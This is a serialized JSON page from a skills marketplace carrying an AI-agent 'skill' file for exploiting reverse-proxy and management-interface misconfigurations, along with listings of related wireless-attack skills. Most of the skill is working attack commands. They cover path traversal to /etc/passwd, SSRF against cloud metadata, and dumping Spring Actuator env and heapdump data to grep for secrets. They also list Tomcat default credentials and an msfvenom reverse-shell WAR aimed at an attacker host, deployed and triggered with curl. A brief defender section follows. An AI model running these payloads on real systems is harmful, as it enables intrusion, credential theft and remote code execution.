[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7988QC4PAPX7QH9JG6ANTCF":3,"skill-same:01M7988QC4PAPX7QH9JG6ANTCF":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7988QC4PAPX7QH9JG6ANTCF","proxy-misconfig",null,"Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fproxy-misconfig\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: proxy-misconfig\ndescription: Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.\nmetadata:\n  when_to_use: \"reverse proxy nginx apache iis tomcat spring actuator alias rewrite\"\n  mitre_attack: T1190\n  subdomain: infrastructure\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FReverse Proxy Misconfigurations\u002F + Insecure Management Interface\u002F\n---\n\n# Reverse Proxy Misconfigurations\n\n## 1. Nginx alias traversal\nNginx `alias` directive (vs `root`) is dangerous when URL pattern is\nprefix-based but alias is a directory:\n```nginx\nlocation \u002Fstatic {\n    alias \u002Fvar\u002Fwww\u002Fstatic\u002F;       # trailing slash CRITICAL\n}\n# But buggy:\nlocation \u002Fstatic {\n    alias \u002Fvar\u002Fwww\u002Fstatic;        # NO trailing slash → path traversal possible\n}\n```\n\nBypass:\n```\nGET \u002Fstatic..\u002Fetc\u002Fpasswd  → resolves to \u002Fvar\u002Fwww\u002Fstatic..\u002Fetc\u002Fpasswd → \u002Fvar\u002Fwww\u002Fetc\u002Fpasswd (if exists)\nGET \u002Fstatic..\u002F  → directory listing if autoindex on\n```\n\n## 2. Apache mod_rewrite SSRF\n```apache\nRewriteRule ^\u002Fproxy\u002F(.*) http:\u002F\u002F$1 [P]\n# Attacker:\nGET \u002Fproxy\u002Finternal-host.local\u002Fadmin → server makes outbound to internal\nGET \u002Fproxy\u002F169.254.169.254\u002Flatest\u002Fmeta-data → AWS metadata SSRF\n```\n\n## 3. Spring Boot Actuator exposure\n```bash\n# Common endpoints if exposed\ncurl $TARGET\u002Factuator\ncurl $TARGET\u002Factuator\u002Fenv       # all env vars including secrets\ncurl $TARGET\u002Factuator\u002Fheapdump  # full memory dump (often contains tokens\u002Fpasswords)\ncurl $TARGET\u002Factuator\u002Fmappings  # all routes\ncurl $TARGET\u002Factuator\u002Floggers   # logging config\ncurl $TARGET\u002Factuator\u002Fjolokia\u002F  # JMX bridge → RCE in many configs\n\n# Pre-2.x style\ncurl $TARGET\u002Fenv\ncurl $TARGET\u002Fdump\ncurl $TARGET\u002Ftrace\ncurl $TARGET\u002Fheapdump\n```\n\n## 4. Tomcat Manager\n```bash\ncurl -u tomcat:tomcat $TARGET\u002Fmanager\u002Ftext\u002Flist\n# Default creds:\n# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1\n# tomcat:s3cret, manager:manager\n\n# If logged in → upload WAR for RCE\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war\ncurl -u admin:admin -T shell.war \"$TARGET\u002Fmanager\u002Ftext\u002Fdeploy?path=\u002Fshell\"\ncurl \"$TARGET\u002Fshell\u002F\"   # triggers shell\n```\n\n## 5. IIS short-name disclosure (8.3 names)\n```bash\n# Probe via specific URL pattern + difference in error\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\" \"$TARGET\u002FA*~1*\u002F\"\n# 400 if exists, 404 if not — leaks first chars of files\u002Fdirs\n# Tool: shortscan, IIS_shortname_Scanner\n```\n\n## 6. Nginx merge_slashes off + URL encoded\n```bash\nGET \u002Fapi\u002F\u002F..\u002F..\u002Fadmin   # if merge_slashes off, internal route mapping bypasses auth\nGET \u002Fapi\u002F%2e%2e\u002Fadmin   # URL-encoded traversal\n```\n\n## 7. Header injection via X-Forwarded-*\nSome apps trust `X-Forwarded-For`\u002F`X-Real-IP` from reverse proxy and use\nit for auth (admin from internal IP). If proxy doesn't strip incoming headers:\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" $TARGET\u002Fadmin\ncurl -H \"X-Real-IP: 10.0.0.1\" $TARGET\u002Fadmin\ncurl -H \"X-Original-Forwarded-For: 192.168.1.1\" $TARGET\u002Fadmin\n```\n\n## 8. WebSocket Origin bypass via proxy\nProxy doesn't validate WebSocket Origin → attacker-origin can connect.\n```bash\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Fevil.com\"\n```\n\n## 9. HTTP\u002F2 specific attacks\nSome proxies have h2 → h1 downgrade bugs (smuggling). See\n`skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`.\n\n## 10. Tools\n- **Nuclei templates** for actuator\u002Fmanager\u002Fadmin discovery\n- **JFrog actuator scanner**\n- **shortscan** for IIS 8.3\n- **smuggler.py** for h2 → h1\n- **trustedheaders** for header injection\n\n## PoC pattern\n```bash\n# Spring Actuator\ncurl -s \"$TARGET\u002Factuator\u002Fenv\" | jq '.propertySources[] | .properties' | head\n# Heap dump if accessible:\ncurl -s -o \u002Ftmp\u002Fheap.bin \"$TARGET\u002Factuator\u002Fheapdump\"\nstrings \u002Ftmp\u002Fheap.bin | grep -iE 'password|token|secret|aws_access' | head\n```\n\n## Severity\n\n| Bug | Severity |\n|---|---|\n| Actuator `\u002Fenv` w\u002F secrets visible | Critical 9.8 |\n| Tomcat manager default-creds | Critical 9.8 (RCE) |\n| Nginx alias → \u002Fetc\u002Fpasswd | High 8.0 |\n| Apache mod_rewrite SSRF → metadata | Critical 9.0 |\n| IIS short-name disclosure | Medium 4-5 |\n| X-Forwarded-For trust → admin | Critical 9.8 |\n\n## Defender\n```nginx\n# nginx — always trailing slash on alias\nlocation \u002Fstatic\u002F {\n    alias \u002Fvar\u002Fwww\u002Fstatic\u002F;\n}\n\n# Strip X-Forwarded-* from client\nreal_ip_header X-Forwarded-For;\nset_real_ip_from 10.0.0.0\u002F8;     # only trust internal\nreal_ip_recursive on;\n```\n\nSpring Boot:\n```yaml\nmanagement:\n  endpoints:\n    web:\n      exposure:\n        include: health, info         # never *\n  endpoint:\n    env:\n      enabled: false\n    heapdump:\n      enabled: false\n```\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FReverse Proxy Misconfigurations\u002F` + `Insecure Management Interface\u002F`\n- SSRF chain: `skills\u002Fexploit\u002Fweb\u002Fssrf.md`\n- HTTP smuggling: `skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`\n","# Reverse Proxy Misconfigurations\n\n## 1. Nginx alias traversal\nNginx `alias` directive (vs `root`) is dangerous when URL pattern is\nprefix-based but alias is a directory:\n```nginx\nlocation \u002Fstatic {\n    alias \u002Fvar\u002Fwww\u002Fstatic\u002F;       # trailing slash CRITICAL\n}\n# But buggy:\nlocation \u002Fstatic {\n    alias \u002Fvar\u002Fwww\u002Fstatic;        # NO trailing slash → path traversal possible\n}\n```\n\nBypass:\n```\nGET \u002Fstatic..\u002Fetc\u002Fpasswd  → resolves to \u002Fvar\u002Fwww\u002Fstatic..\u002Fetc\u002Fpasswd → \u002Fvar\u002Fwww\u002Fetc\u002Fpasswd (if exists)\nGET \u002Fstatic..\u002F  → directory listing if autoindex on\n```\n\n## 2. Apache mod_rewrite SSRF\n```apache\nRewriteRule ^\u002Fproxy\u002F(.*) http:\u002F\u002F$1 [P]\n# Attacker:\nGET \u002Fproxy\u002Finternal-host.local\u002Fadmin → server makes outbound to internal\nGET \u002Fproxy\u002F169.254.169.254\u002Flatest\u002Fmeta-data → AWS metadata SSRF\n```\n\n## 3. Spring Boot Actuator exposure\n```bash\n# Common endpoints if exposed\ncurl $TARGET\u002Factuator\ncurl $TARGET\u002Factuator\u002Fenv       # all env vars including secrets\ncurl $TARGET\u002Factuator\u002Fheapdump  # full memory dump (often contains tokens\u002Fpasswords)\ncurl $TARGET\u002Factuator\u002Fmappings  # all routes\ncurl $TARGET\u002Factuator\u002Floggers   # logging config\ncurl $TARGET\u002Factuator\u002Fjolokia\u002F  # JMX bridge → RCE in many configs\n\n# Pre-2.x style\ncurl $TARGET\u002Fenv\ncurl $TARGET\u002Fdump\ncurl $TARGET\u002Ftrace\ncurl $TARGET\u002Fheapdump\n```\n\n## 4. Tomcat Manager\n```bash\ncurl -u tomcat:tomcat $TARGET\u002Fmanager\u002Ftext\u002Flist\n# Default creds:\n# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1\n# tomcat:s3cret, manager:manager\n\n# If logged in → upload WAR for RCE\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war\ncurl -u admin:admin -T shell.war \"$TARGET\u002Fmanager\u002Ftext\u002Fdeploy?path=\u002Fshell\"\ncurl \"$TARGET\u002Fshell\u002F\"   # triggers shell\n```\n\n## 5. IIS short-name disclosure (8.3 names)\n```bash\n# Probe via specific URL pattern + difference in error\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\" \"$TARGET\u002FA*~1*\u002F\"\n# 400 if exists, 404 if not — leaks first chars of files\u002Fdirs\n# Tool: shortscan, IIS_shortname_Scanner\n```\n\n## 6. Nginx merge_slashes off + URL encoded\n```bash\nGET \u002Fapi\u002F\u002F..\u002F..\u002Fadmin   # if merge_slashes off, internal route mapping bypasses auth\nGET \u002Fapi\u002F%2e%2e\u002Fadmin   # URL-encoded traversal\n```\n\n## 7. Header injection via X-Forwarded-*\nSome apps trust `X-Forwarded-For`\u002F`X-Real-IP` from reverse proxy and use\nit for auth (admin from internal IP). If proxy doesn't strip incoming headers:\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" $TARGET\u002Fadmin\ncurl -H \"X-Real-IP: 10.0.0.1\" $TARGET\u002Fadmin\ncurl -H \"X-Original-Forwarded-For: 192.168.1.1\" $TARGET\u002Fadmin\n```\n\n## 8. WebSocket Origin bypass via proxy\nProxy doesn't validate WebSocket Origin → attacker-origin can connect.\n```bash\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Fevil.com\"\n```\n\n## 9. HTTP\u002F2 specific attacks\nSome proxies have h2 → h1 downgrade bugs (smuggling). See\n`skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`.\n\n## 10. Tools\n- **Nuclei templates** for actuator\u002Fmanager\u002Fadmin discovery\n- **JFrog actuator scanner**\n- **shortscan** for IIS 8.3\n- **smuggler.py** for h2 → h1\n- **trustedheaders** for header injection\n\n## PoC pattern\n```bash\n# Spring Actuator\ncurl -s \"$TARGET\u002Factuator\u002Fenv\" | jq '.propertySources[] | .properties' | head\n# Heap dump if accessible:\ncurl -s -o \u002Ftmp\u002Fheap.bin \"$TARGET\u002Factuator\u002Fheapdump\"\nstrings \u002Ftmp\u002Fheap.bin | grep -iE 'password|token|secret|aws_access' | head\n```\n\n## Severity\n\n| Bug | Severity |\n|---|---|\n| Actuator `\u002Fenv` w\u002F secrets visible | Critical 9.8 |\n| Tomcat manager default-creds | Critical 9.8 (RCE) |\n| Nginx alias → \u002Fetc\u002Fpasswd | High 8.0 |\n| Apache mod_rewrite SSRF → metadata | Critical 9.0 |\n| IIS short-name disclosure | Medium 4-5 |\n| X-Forwarded-For trust → admin | Critical 9.8 |\n\n## Defender\n```nginx\n# nginx — always trailing slash on alias\nlocation \u002Fstatic\u002F {\n    alias \u002Fvar\u002Fwww\u002Fstatic\u002F;\n}\n\n# Strip X-Forwarded-* from client\nreal_ip_header X-Forwarded-For;\nset_real_ip_from 10.0.0.0\u002F8;     # only trust internal\nreal_ip_recursive on;\n```\n\nSpring Boot:\n```yaml\nmanagement:\n  endpoints:\n    web:\n      exposure:\n        include: health, info         # never *\n  endpoint:\n    env:\n      enabled: false\n    heapdump:\n      enabled: false\n```\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FReverse Proxy Misconfigurations\u002F` + `Insecure Management Interface\u002F`\n- SSRF chain: `skills\u002Fexploit\u002Fweb\u002Fssrf.md`\n- HTTP smuggling: `skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"infrastructure","reverse proxy nginx apache iis tomcat spring actuator alias rewrite","T1190","skills\u002F_corpus\u002Fpayloads\u002FReverse Proxy Misconfigurations\u002F + Insecure Management Interface\u002F","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fproxy-misconfig",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill proxy-misconfig",{"tool":42,"command":43},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill proxy-misconfig",{"tool":45,"command":46},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill proxy-misconfig","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fproxy-misconfig\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]